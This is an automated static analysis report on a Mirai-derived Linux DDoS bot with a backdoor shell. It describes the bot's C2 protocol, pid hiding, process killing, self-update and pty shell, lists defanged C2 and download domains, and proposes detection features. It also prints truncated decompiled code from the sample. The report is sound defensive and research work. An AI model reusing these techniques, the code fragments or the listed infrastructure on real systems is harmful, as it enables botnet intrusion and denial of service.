← Back to the case report · CORD Reports
report r20261022-1Summary
Static analysis · ELF64 x86-64 static executable (stripped, no interpreter) · 2026-10-22

Mirai botnet

MaliciousRole: payloadCapability: botnetFamily: Mirai · confidence 0.55

A stripped, static x86-64 Linux executable with no imports (E21): an unpacked Mirai-derived DDoS bot with an added backdoor shell. Its strings sit in a 476-slot table ChaCha20-decrypted at start-up, with the cipher constant masked (B1). On a victim host it runs as one daemonised instance under a random process name. As root it hides its pid behind another process's /proc entry and kills competing processes (B3-B5). It registers with its C2 over an X25519-keyed, ChaCha20/HMAC channel (B6, B7). For its operator it is a flood node with 24 attack vectors (B8), an interactive shell on the host (B10, B11) and a self-update path (B9).

File
ELF64 x86-64 static executable (stripped, no interpreter) · 175 KB
nothing unpacked from it
Behaviours
11
11 reachable from the entry point
Code reached
87%
475 of 546 functions from the entry
Network
31 indicators
15 C2
Decoded strings
461
10 notable
Detection features
5
build, family, technique scope
Open questions
6
reads the analysis attempted and stopped
sha256 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486
Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

StartProgram entryentry pointSingle-instance lock on a loopback TCP port, a newer copy takes overB2Single-instance lock on aloopback TCP port, a newer…can end the run hereMainthe collectors below run from hereThen, in an order the analysis did not establishHides its pid by bind-mounting another process's /proc directory over its ownB4Hides its pid bybind-mounting anotherprocess's /proc directory…Kills other processes found by walking /procB5Kills other processes foundby walking /procRegisters with system informationB7Registers with systeminformationDDoS on commandB8DDoS on commandSends, and what followsC2 over TCP to the store host in slots 0-7 on a random port from a 14-entry tableB6C2 over TCP to the storehost in slots 0-7 on arandom port from a 14-entr…Self-update on commandB9Self-update on commandRemote interactive shell over the C2B11Remote interactive shellover the C2Discovers the current user and home for the shellB10Discovers the current userand home for the shell

Throughout: Encrypted string store (B1); Daemonises and masquerades (B3).

What it does in the full report →

main decrypts the store first. 461 entries come out: identifiers, paths, 24 hostnames and format strings (B1; E22, E24, E34, E35-E37). A listener on loopback port I2 enforces a single instance, and a newer copy that connects to it takes over (B2; E9). A one-byte marker page is mapped read-only from a file, a /proc-found mapping or a memfd (E33; U5).

The bot then forks, calls setsid and closes stdio. As root it sets itself non-dumpable and takes a store name through prctl and argv[0] (B3; E11). It bind-mounts a donor process's /proc directory over its own (B4; E12). Workers walk /proc and kill processes whose names match store identifiers (B5; E19, E25).

The C2 host is store slots 0-7, I3 (E24, E29). Resolution tries a literal address, then getaddrinfo, then the bot's own DNS queries to 18 embedded public resolvers (E17, E18). The port is random from a 14-entry table, I20-I33 (E30). The hello carries a fresh X25519 key against a peer key derived from 32 embedded bytes, and encrypts the registration record: CPU count, memory, uname, euid and limits (B6, B7; E14, E31). Incoming frames are tag-checked and then ChaCha20-decrypted, or XORed with one byte in a plain mode (E15, E32; U2).

Attack commands follow Mirai's layout: duration, vector id, IP/prefix targets and options (E6). A forked worker calls the vector from a 24-entry {id, function} table, and a sibling ends it after the duration (B8; E7, E8; U4). Command 0xff kills the bot's children. Command 0xfe downloads from I13, sets the file to 0755 and executes it (B9; E13).

A second message class opens a pty shell (B11; E26, E28). The slave becomes the child's controlling terminal and stdio, and the child executes a store shell path. Its user and home values come from store-named programs, run through a pipe/fork/execve runner, and from the account entry matching getuid (B10; E27). Output is relayed back over the C2, with a pipe fallback.

Not recovered: 23 store entries and the other hostname slots' readers (U1), the embedded key bytes and primitives (U2), the shell relay (U3), vector templates (U4) and the marker page's reader (U5).

BehaviourFrom the entryATT&CKEvidence
Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsreachableT1027E2E3E4E5E35E36E37E22
Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)reachableE9E1E33
Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]reachableT1036.004E1E11E25
Hides its pid by bind-mounting another process's /proc directory over its own (root only)reachableT1564E12E25
Kills other processes found by walking /proc (killer workers) and its own tracked children on command
match names are store identifiers
reachableT1489E19E6E25
C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)reachableT1095 T1573.002 T1071.004E1E15E16E17E18E24E29E30E31E32
Registers with system information: CPU count, memory size, uname, euid, local addressreachableT1082 T1016E14E10
DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set durationreachableT1498 T1499E6E7E8
Self-update on command: downloads a file, chmod 0755, execvereachableT1105E13E6E24
Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uidreachableT1033 T1059.004E20E27E19E34
Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallbackreachableT1059.004E26E28E34

How much of the code was read functions →

From the entry point the Ghidra graph reaches 475 of 546 functions. With the 24 attack-table slots added as roots it reaches 526, including 264 of 273 user functions. 28 computed sites stay unresolved, so 20 functions are only possibly reached (U6).

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

KindTypeRoleValueEvidence
networkdomainc2thunder[.]godofthunder[.]stE24E22E29
networkdomainother2sexy4u[.]ethE24E22
networkdomainothersushiconsumer[.]ethE24E22
networkdomainotherethereum[.]publicnode[.]comE24E22
networkdomainotherethereum-rpc[.]publicnode[.]comE24E22
networkdomainothereth[.]drpc[.]orgE24E22
networkdomainother1rpc[.]ioE24E22
networkdomainothereth-mainnet[.]blockreq[.]comE24E22
networkdomainotherethereum-public[.]nodies[.]appE24E22
networkdomainotherrpc[.]mevblocker[.]ioE24E22
networkdomaindownloadhackattackkaboom[.]botlesscucks[.]stE24E13
networkdomainotherhik[.]gettingheadfromduckysmom[.]stE24
networkdomainotherro[.]product[.]modelE24E22
networkdomainotherro[.]product[.]deviceE24E22
networkdomainotherro[.]product[.]nameE24E22
networkdomainotherro[.]product[.]brandE24E22
networkdomainothernet[.]hostnameE24E22
networkportc250217E29E30
networkportc250341E29E30
networkportc250488E29E30
networkportc250613E29E30
networkportc250792E29E30
networkportc250904E29E30
networkportc251127E29E30
networkportc251289E29E30
networkportc251456E29E30
networkportc251603E29E30
networkportc251871E29E30
networkportc252134E29E30
networkportc252398E29E30
networkportc252645E29E30
config / otherportothernot readable at its recorded locationE9

Notable strings all 461 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

URL or domainethereum.publicnode.comethereum-rpc.publicnode.cometh.drpc.org1rpc.ioeth-mainnet.blockreq.comethereum-public.nodies.apprpc.mevblocker.io
Anti-analysisiprt-VBoxWQueueqemuQEMU

Verdict and detection opportunities all anchor details →

Malicious botnet payload with backdoor capability. The family is Mirai at 0.55: there is no corpus label, and the code follows Mirai's source structure throughout (E1, E6, E7, E9, E10). The decoded strings name no variant.

  • A1: the masked ChaCha20 constant is a fixed 16-byte run, confirmed against RFC 7539 (E37).
  • A2: the 24-record method table is the lineage's dispatch structure (E7, E8).
  • A3: the /proc bind-mount routine survives store re-keying (E12).
  • A4: the resolver table is build-specific (E17, E18).
  • A5: the loopback lock constants are weak alone (E9).

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

IDWhat to matchScopeScan typeHow stablePossible false matches
A116-byte ChaCha20 constant stored XOR 0xa5 in .rodata, read by the string-store cipherfamilyrealtimestructural_constant; a fixed public constant under a fixed one-byte mask; changes only if the builder changes the mask or cipher; E3, E4very low; the masked constant is not a natural byte run. Match anywhere in the file rather than at the offset across builds
A2attack-method table at the start of .data: 24 records of {u8 id 0..23, 7 zero bytes, u64 pointer into .text}, count 24 at +0x180familybatchbehavioural_template; Mirai-lineage method table; ids sequential and count fixed by the vector set; E7, E8other Mirai derivatives with the same vector count; the layout itself is shared by the lineage
A3pid-hiding routine: builds two /proc/<pid> paths from a store prefix and calls mount with flags 0x1000 (MS_BIND), immediate operands maskedtechniquerealtimebehavioural_template; compiler output of a small fixed routine; survives string-store re-keying; E12legitimate container tools bind-mount, but not /proc/<pid> onto /proc/<pid>; pair with A1 or A2
A418-entry DNS resolver address table in .rodata used by the C2 resolverbuildrealtimeconfig; list chosen by the builder; may be edited between builds; E17, E18network tools that embed public resolver lists in the same order; low for the full 72 bytes
A5single-instance lock constants in one function: htonl(0x7f000001) and htons(0x4d2) beside socket(2,1,0)/bind/listenfamilyrealtimebehavioural_template; port is a build constant; the shape is Mirai lineage; E9any program binding loopback port 1234; weak alone

Open questions in the full report →

  1. 23 of 484 string-store sites fail the printable control, and the readers of the other hostname-class slots (0x8-0x10, 0x114, 0x13f-0x143) are not known.
    Why it stopped: the 23 sites fail the printable-likeness control (short entries, likely binary values or a second scheme); no xref pass for slots 0x8-0x10 and 0x13f-0x143 was run
  2. Where the 32 bytes behind the C2 peer key live, and the exact hash/MAC primitives of the session.
    Why it stopped: 0x4122e0 (source of the embedded bytes), 0x411241 (hash) and 0x412677 (MAC) were not opened; the capa HMAC/Curve25519 leads agree with the read but the primitives are not named by a read
  3. The shell relay 0x40a31c and the shell-message check 0x40b0b8.
    Why it stopped: the relay and the magic check were not opened; the shell itself is established
  4. Protocol and packet template of each of the 24 attack vectors at 0x62b000.
    Why it stopped: vector bodies not read individually; a per-vector read matters for network signatures only
  5. What the read-only marker page at 0x62bdc0 is used for after 0x40c8fe maps it.
    Why it stopped: the readers of 0x62bdc0 were not followed
  6. Reach of 9 user functions (among them 0x401a5e and 0x4021f5, which connect and send) and 28 unresolved computed sites in reached code.
    Why it stopped: native_callgraph.py and dispatch_reach.py parse PE only (PEFormatError on this ELF); no ELF code-slot pass was run
Summary generated from report.json by render/cover.py. The lead is the analyst's summary; the section prose is the analyst's narrative with its references linked. Static analysis only: the sample was never executed. Network values are defanged.
Full technical report
CORD Research report r20261022-1

Mirai — botnet payload

sha2560c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486
not blind depth full model claude-opus-5-5 · medium input 21.8M output ~151k time 34 min 43 s schema cord-research.report/1.5.0 source report.json
OriginalMirai — botnet payload0.55

Summary

A stripped, static x86-64 Linux executable with no imports (E21): an unpacked Mirai-derived DDoS bot with an added backdoor shell. Its strings sit in a 476-slot table ChaCha20-decrypted at start-up, with the cipher constant masked (B1). On a victim host it runs as one daemonised instance under a random process name. As root it hides its pid behind another process's /proc entry and kills competing processes (B3-B5). It registers with its C2 over an X25519-keyed, ChaCha20/HMAC channel (B6, B7). For its operator it is a flood node with 24 attack vectors (B8), an interactive shell on the host (B10, B11) and a self-update path (B9).

Behaviour

main decrypts the store first. 461 entries come out: identifiers, paths, 24 hostnames and format strings (B1; E22, E24, E34, E35-E37). A listener on loopback port I2 enforces a single instance, and a newer copy that connects to it takes over (B2; E9). A one-byte marker page is mapped read-only from a file, a /proc-found mapping or a memfd (E33; U5).

The bot then forks, calls setsid and closes stdio. As root it sets itself non-dumpable and takes a store name through prctl and argv[0] (B3; E11). It bind-mounts a donor process's /proc directory over its own (B4; E12). Workers walk /proc and kill processes whose names match store identifiers (B5; E19, E25).

The C2 host is store slots 0-7, I3 (E24, E29). Resolution tries a literal address, then getaddrinfo, then the bot's own DNS queries to 18 embedded public resolvers (E17, E18). The port is random from a 14-entry table, I20-I33 (E30). The hello carries a fresh X25519 key against a peer key derived from 32 embedded bytes, and encrypts the registration record: CPU count, memory, uname, euid and limits (B6, B7; E14, E31). Incoming frames are tag-checked and then ChaCha20-decrypted, or XORed with one byte in a plain mode (E15, E32; U2).

Attack commands follow Mirai's layout: duration, vector id, IP/prefix targets and options (E6). A forked worker calls the vector from a 24-entry {id, function} table, and a sibling ends it after the duration (B8; E7, E8; U4). Command 0xff kills the bot's children. Command 0xfe downloads from I13, sets the file to 0755 and executes it (B9; E13).

A second message class opens a pty shell (B11; E26, E28). The slave becomes the child's controlling terminal and stdio, and the child executes a store shell path. Its user and home values come from store-named programs, run through a pipe/fork/execve runner, and from the account entry matching getuid (B10; E27). Output is relayed back over the C2, with a pipe fallback.

Not recovered: 23 store entries and the other hostname slots' readers (U1), the embedded key bytes and primitives (U2), the shell relay (U3), vector templates (U4) and the marker page's reader (U5).

Reach

From the entry point the Ghidra graph reaches 475 of 546 functions. With the 24 attack-table slots added as roots it reaches 526, including 264 of 273 user functions. 28 computed sites stay unresolved, so 20 functions are only possibly reached (U6).

Verdict and anchors

Malicious botnet payload with backdoor capability. The family is Mirai at 0.55: there is no corpus label, and the code follows Mirai's source structure throughout (E1, E6, E7, E9, E10). The decoded strings name no variant.

  • A1: the masked ChaCha20 constant is a fixed 16-byte run, confirmed against RFC 7539 (E37).
  • A2: the 24-record method table is the lineage's dispatch structure (E7, E8).
  • A3: the /proc bind-mount routine survives store re-keying (E12).
  • A4: the resolver table is build-specific (E17, E18).
  • A5: the loopback lock constants are weak alone (E9).
Terms used in this report
Original file, unpacked file
The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point
The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven
The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers
Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing
Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA
Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC
Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC
Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

Sample and layers

gated nosnapshot taken at 2026-10-01 20:38:11.542859+00
idsizeverdictsha256formatunpack stopevidence
Original1796320c5486f0…360d1486ELF64 x86-64 static executable (stripped, no interpreter)fixed_pointE21, E35

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

Mirai — botnet payload

confidence 0.55
classification
malicious
role
payload
capability
botnet
evidence
E1, E6, E7, E8, E9, E10, E3, E35, E12, E15, E26, E31
masquerades as
what
a random process name from its string store (prctl and argv[0])
evidence
E11, E25
why
No corpus family label (cluster elf/unk). Code structure matches the Mirai source: main loop with loopback single-instance lock and takeover, local address via UDP connect to a public resolver on port 53, attack_parse layout (u32 duration, u8 vector, ip+prefix targets, length-prefixed options), forked attack workers dispatched from an {id, fn} method table, slot-id string table. A heavily extended derivative: ChaCha20 string store (461 of 484 entries recovered, E35), 24 vectors, X25519-keyed ChaCha20/HMAC C2 session, a remote PTY shell (backdoor capability beside the DDoS bot), /proc bind-mount hiding. The decoded strings name no variant, so the variant stays unnamed.

What it does 11

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

B1

Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings

T1027file Originalreachability reachable from the entry point
functions
0x40dba00x40d8fa0x40dae10x40d6c60x40c607
Show the evidence · 8 items: E2, E3, E4, E5, E22, E35, E36, E37
E2
read from the file·function

string-store init: allocates 0x1dc 16-byte slots at *0x62e6f0 and adds 473 entries via 0x40d8fa(id, src, len); a second small table at 0x62e640 is filled via 0x40dae1; 0x40c607(id) is the accessor

fills the 476-slot string store with… · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_0040dba0(void)

{
  int *piVar1;
  uint uVar2;
  uint uVar3;
  long lVar4;
  ulong uVar5;
  ulong uVar6;
  undefined1 *puVar7;
  undefined1 *puVar8;
  undefined4 *puVar9;
  undefined1 *puVar10;
  int iVar11;
  byte bVar12;
  
  bVar12 = 0;
  DAT_0062dba0 = 0;
  DAT_0062e6f0 = (undefined4 *)FUN_00417f10(0x1dc,0x10);
  if (DAT_0062e6f0 == (undefined4 *)0x0) {
    DAT_0062e6f0 = &DAT_0062bde0;
    puVar9 = &DAT_0062bde0;
    for (lVar4 = 0x770; lVar4 != 0; lVar4 = lVar4 + -1) {
      *puVar9 = 0;
      puVar9 = puVar9 + (ulong)bVar12 * -2 + 1;
    }
  }
/* … 528 more lines */
Full function, callers and assembly →
copies one store entry into its slot… · decompiled C, first 30 lines
undefined8 FUN_0040d8fa(uint param_1,undefined1 *param_2,uint param_3,undefined8 param_4)

{
  bool bVar1;
  undefined1 *puVar2;
  ulong uVar3;
  undefined *puVar4;
  long lVar5;
  undefined *puVar6;
  long *plVar7;
  byte bVar8;
  
  bVar8 = 0;
  plVar7 = (long *)((ulong)param_1 * 0x10 + DAT_0062e6f0);
  puVar2 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  *plVar7 = (long)puVar2;
  if (puVar2 == (undefined1 *)0x0) {
    bVar1 = 0x1f < (int)param_3;
    if (((((((param_1 != 0) || (puVar4 = &DAT_0062e5e0, bVar1)) &&
           ((param_1 != 1 || (puVar4 = &DAT_0062e5c0, bVar1)))) &&
          ((param_1 != 2 || (puVar4 = &DAT_0062e5a0, bVar1)))) &&
         (((param_1 != 3 || (puVar4 = &DAT_0062e580, bVar1)) &&
          ((((param_1 != 4 || (puVar4 = &DAT_0062e560, bVar1)) &&
            ((param_1 != 5 || (puVar4 = &DAT_0062e540, bVar1)))) &&
           ((param_1 != 6 || (puVar4 = &DAT_0062e520, bVar1)))))))) &&
        ((param_1 != 7 || (puVar4 = &DAT_0062e500, bVar1)))) &&
       (((param_1 != 8 || (puVar4 = &DAT_0062e4e0, bVar1)) &&
        ((param_1 != 9 || (puVar4 = &DAT_0062e4c0, bVar1)))))) {
      if (((0x2f < (int)param_3) || (lVar5 = (long)DAT_0062dba0, 0x2f < DAT_0062dba0)) ||
/* … 32 more lines */
Full function, callers and assembly →
adds and decrypts an entry of the… · decompiled C, first 30 lines
void FUN_0040dae1(int param_1,undefined1 *param_2,uint param_3)

{
  undefined1 *puVar1;
  ulong uVar2;
  long lVar3;
  long *plVar4;
  undefined1 *puVar5;
  byte bVar6;
  
  bVar6 = 0;
  lVar3 = (long)param_1 * 0x10;
  puVar1 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  uVar2 = (ulong)param_3;
  plVar4 = (long *)(&DAT_0062e640 + lVar3);
  *plVar4 = (long)puVar1;
  if (puVar1 == (undefined1 *)0x0) {
    *(undefined4 *)(&DAT_0062e648 + lVar3) = 0;
    *plVar4 = (long)&DAT_0062e610;
  }
  else {
    *(uint *)(&DAT_0062e648 + lVar3) = param_3;
    puVar5 = puVar1;
    for (; uVar2 != 0; uVar2 = uVar2 - 1) {
      *puVar5 = *param_2;
      param_2 = param_2 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar1);
/* … 5 more lines */
Full function, callers and assembly →
returns the decrypted store entry for a… · decompiled C, first 30 lines
long FUN_0040c607(uint param_1)

{
  long lVar1;
  long *plVar2;
  
  if ((param_1 < 0x1dc) && (DAT_0062e6f0 != 0)) {
    plVar2 = (long *)(DAT_0062e6f0 + (ulong)param_1 * 0x10);
    lVar1 = *plVar2;
    if (lVar1 != 0) {
      if ((int)plVar2[1] < 1) {
        lVar1 = 0;
      }
      return lVar1;
    }
  }
  return 0;
}

Full function, callers and assembly →
E3
read from the file·function

stream cipher called on every store entry with (key 0x62ba00, counter 1, nonce 0x62b9e8, buf, buf, len); builds its 16-byte constant from 0x426f20 XOR 0xa5 then loads it as 4 LE words - ChaCha20 shape

chaCha20 stream cipher, used for the… · decompiled C, first 30 lines
void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
/* … 73 more lines */
Full function, callers and assembly →
E4
read from the file·address range
0x426f20

16 bytes in .rodata XOR-0xa5 encoded: the cipher constant read by 0x40d6c6

E5
read from the file·address range
0x62b9e8

initialised .data holding the 12-byte nonce (0x62b9e8) and 32-byte key (0x62ba00) of the string-store cipher

E22
decoded by the analysis·analysis output
out/L0/strtable/strings.json

string store decrypted with ChaCha20 (RFC 7539, counter 1) from the .data key and nonce: 461 of 484 sites give fully printable text, by class 200 identifiers, 163 paths, 24 hostnames, 9 format strings, 1 numeric

E35
decoded by the analysis·analysis output
out/L0/strtable/strings_decoded.jsonl

per-site decode of the string store (484 lines, one per setter site): ChaCha20 RFC 7539 with the .data key and nonce and block counter 1; 461 sites accepted with printable ratio 1.0, 23 rejected by the likeness control

E36
decoded by the analysis·analysis output
out/L0/strtable/census.json

census of the encrypted store's setter call sites, the inputs of the decode: 484 sites (473 via 0x40d8fa, 11 via 0x40dae1), 454 distinct source addresses, 5412 encrypted bytes, none unresolved or outside the file

E37
decoded by the analysis·analysis output
out/L0/strtable/controls.json

the 16 bytes at file offset 0x26f20 XOR 0xa5 equal the RFC 7539 ChaCha20 constant (known-plaintext check of the cipher identification); key and nonce are non-zero

B2

Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)

file Originalreachability reachable from the entry point
functions
0x412d780x4001d00x40c8fe0x40c6f40x40c63d
Show the evidence · 3 items: E1, E9, E33
E1
read from the file·function

main (entry passes 0x4001f2 inside it to the libc start routine): ignores signals, chdir, decrypts the string store, rand init, single-instance lock, fork+setsid daemonise, closes stdio, process-name masquerade, then a select() loop that opens a non-blocking TCP socket to the resolved C2, sends a heartbeat every 6th idle round, and passes received bytes to the command parser 0x4138f6

main · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */
Full function, callers and assembly →
E9
read from the file·function

single-instance lock: socket/SO_REUSEADDR/non-blocking bind to loopback port 0x4d2 and listen, with a retry counter of 0x1a; main accepts on this socket and, when another copy connects, kills its workers and restarts itself

single-instance lock on a loopback TCP… · decompiled C, first 30 lines
/* WARNING: Type propagation algorithm not settling */

void FUN_00412d78(void)

{
  undefined2 uVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  int *piVar5;
  long lVar6;
  long *plVar7;
  int iVar8;
  byte bVar9;
  undefined4 local_e4;
  int local_e0 [2];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined2 local_c8;
  undefined2 local_c6;
  int local_c4;
  undefined2 local_b8;
  undefined2 local_b6;
  int local_b4;
  long local_a8 [17];
  
  bVar9 = 0;
  local_e4 = 1;
  if (DAT_0062efd0 < 5) goto LAB_00412da0;
/* … 124 more lines */
Full function, callers and assembly →
E33
read from the file·function set

instance marker page: 0x40c8fe first tries 16 store paths, then 0x40c6f4 scans /proc/<pid>/ store-named files for lines matching store slots 0x183/0x184 and opens the match, then memfd_create (syscall 0x13f) on a store name, then a 0600 file at store path 0x166; each candidate gets one byte written and is mapped 0x1000 bytes PROT_READ MAP_PRIVATE by 0x40c63d into 0x62bdc0; the content written is a single byte, not a copy of the binary

sets up the shared read-only marker page · decompiled C, first 30 lines
undefined4 FUN_0040c8fe(void)

{
  int iVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  
  if (DAT_0062bdc0 != 0) {
    return 0;
  }
  lVar5 = 0;
  do {
    lVar3 = FUN_0040c607((&DAT_00426ee0)[lVar5]);
    if ((((lVar3 != 0) && (lVar4 = FUN_0040d114(lVar3,"x86_64"), lVar4 == 0)) &&
        (lVar4 = FUN_0040d114(lVar3,"x86-64"), lVar4 == 0)) &&
       (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
      return 0;
    }
    lVar5 = lVar5 + 1;
  } while (lVar5 != 0x10);
  iVar1 = FUN_0040c6f4();
  if (iVar1 == 0) {
    return 0;
  }
  lVar5 = FUN_0040c607(0x185);
  if (((lVar5 != 0) && (lVar5 = FUN_0041d090(lVar5,0x2f), lVar5 != 0)) &&
     (iVar1 = FUN_0041944f(0x13f,lVar5 + 1,1), -1 < iVar1)) {
/* … 18 more lines */
Full function, callers and assembly →
scans per-process /proc files for a… · decompiled C, first 30 lines
undefined8 FUN_0040c6f4(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  undefined1 *puVar6;
  undefined8 uVar7;
  char *pcVar8;
  undefined1 auStack_20b8 [24];
  uint local_20a0;
  undefined1 local_2028 [4096];
  char local_1028 [4096];
  
  lVar2 = FUN_0040c607(0x15e);
  if ((lVar2 != 0) ||
     (((DAT_0062e6f0 != 0 && (lVar2 = *(long *)(DAT_0062e6f0 + 0xce0), lVar2 != 0)) &&
      (4 < *(int *)(DAT_0062e6f0 + 0xce8))))) {
    lVar2 = FUN_0041779c(lVar2);
    if (lVar2 != 0) {
LAB_0040c743:
      lVar3 = FUN_004177dd(lVar2);
      if (lVar3 != 0) {
        if (*(char *)(lVar3 + 0x12) != '\x04') goto code_r0x0040c73f;
        goto LAB_0040c7ba;
      }
      FUN_00417776(lVar2);
/* … 52 more lines */
Full function, callers and assembly →
maps a marker fd 0x1000 bytes PROT_READ… · decompiled C, first 30 lines
undefined1  [16]
FUN_0040c63d(undefined4 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  long lVar1;
  undefined8 uVar2;
  undefined1 auVar3 [16];
  
  lVar1 = FUN_0041951f(0,0x1000,1,2,param_1,0);
  uVar2 = 0xffffffff;
  if (lVar1 != -1) {
    uVar2 = 0;
    DAT_0062bdc0 = lVar1;
  }
  auVar3._8_8_ = param_4;
  auVar3._0_8_ = uVar2;
  return auVar3;
}

Full function, callers and assembly →
B3

Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]

T1036.004file Originalreachability reachable from the entry point
functions
0x4001d00x414dca0x4139d0
Show the evidence · 3 items: E1, E11, E25
E1
read from the file·function

main (entry passes 0x4001f2 inside it to the libc start routine): ignores signals, chdir, decrypts the string store, rand init, single-instance lock, fork+setsid daemonise, closes stdio, process-name masquerade, then a select() loop that opens a non-blocking TCP socket to the resolved C2, sends a heartbeat every 6th idle round, and passes received bytes to the command parser 0x4138f6

main · decompiled C, first 30 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */
Full function, callers and assembly →
E11
read from the file·function set

process masquerade: when root, prctl(PR_SET_DUMPABLE,0) and prctl(PR_SET_NAME) to one of 8 store names (slots 0xe7-0xee) picked at random; argv[0] overwritten with a store name padded with spaces

as root, sets non-dumpable and a random… · decompiled C, first 30 lines
undefined8 FUN_00414dca(undefined4 param_1)

{
  char cVar1;
  int iVar2;
  uint uVar3;
  undefined4 uVar4;
  undefined8 *puVar5;
  char *pcVar6;
  long lVar7;
  undefined8 uVar8;
  ulong uVar9;
  undefined1 *puVar10;
  char *pcVar11;
  byte bVar12;
  char local_28 [16];
  
  bVar12 = 0;
  pcVar6 = local_28;
  iVar2 = FUN_0041dc31();
  if (iVar2 != 0) {
    return 0;
  }
  FUN_00417ea8(4,0,0,0,0);
  FUN_0041c0d4(5,1);
  local_28[0] = '\0';
  if (DAT_0062e6f0 == 0) {
LAB_00414e16:
    local_28[0] = '\0';
/* … 81 more lines */
Full function, callers and assembly →
overwrites argv[0] with a store process… · decompiled C, first 30 lines
void FUN_004139d0(undefined8 *param_1)

{
  undefined4 uVar1;
  int iVar2;
  ulong uVar3;
  long lVar4;
  undefined8 *puVar5;
  undefined8 *puVar6;
  undefined1 *puVar7;
  undefined8 *puVar8;
  byte bVar9;
  undefined8 local_d9 [7];
  undefined1 local_9a;
  undefined8 local_99;
  undefined8 uStack_91;
  undefined1 local_89 [121];
  
  bVar9 = 0;
  uVar1 = FUN_0041daf0(0);
  FUN_0041bc9b(uVar1);
  iVar2 = FUN_0041bca6();
  if (DAT_0062e6f0 != 0) {
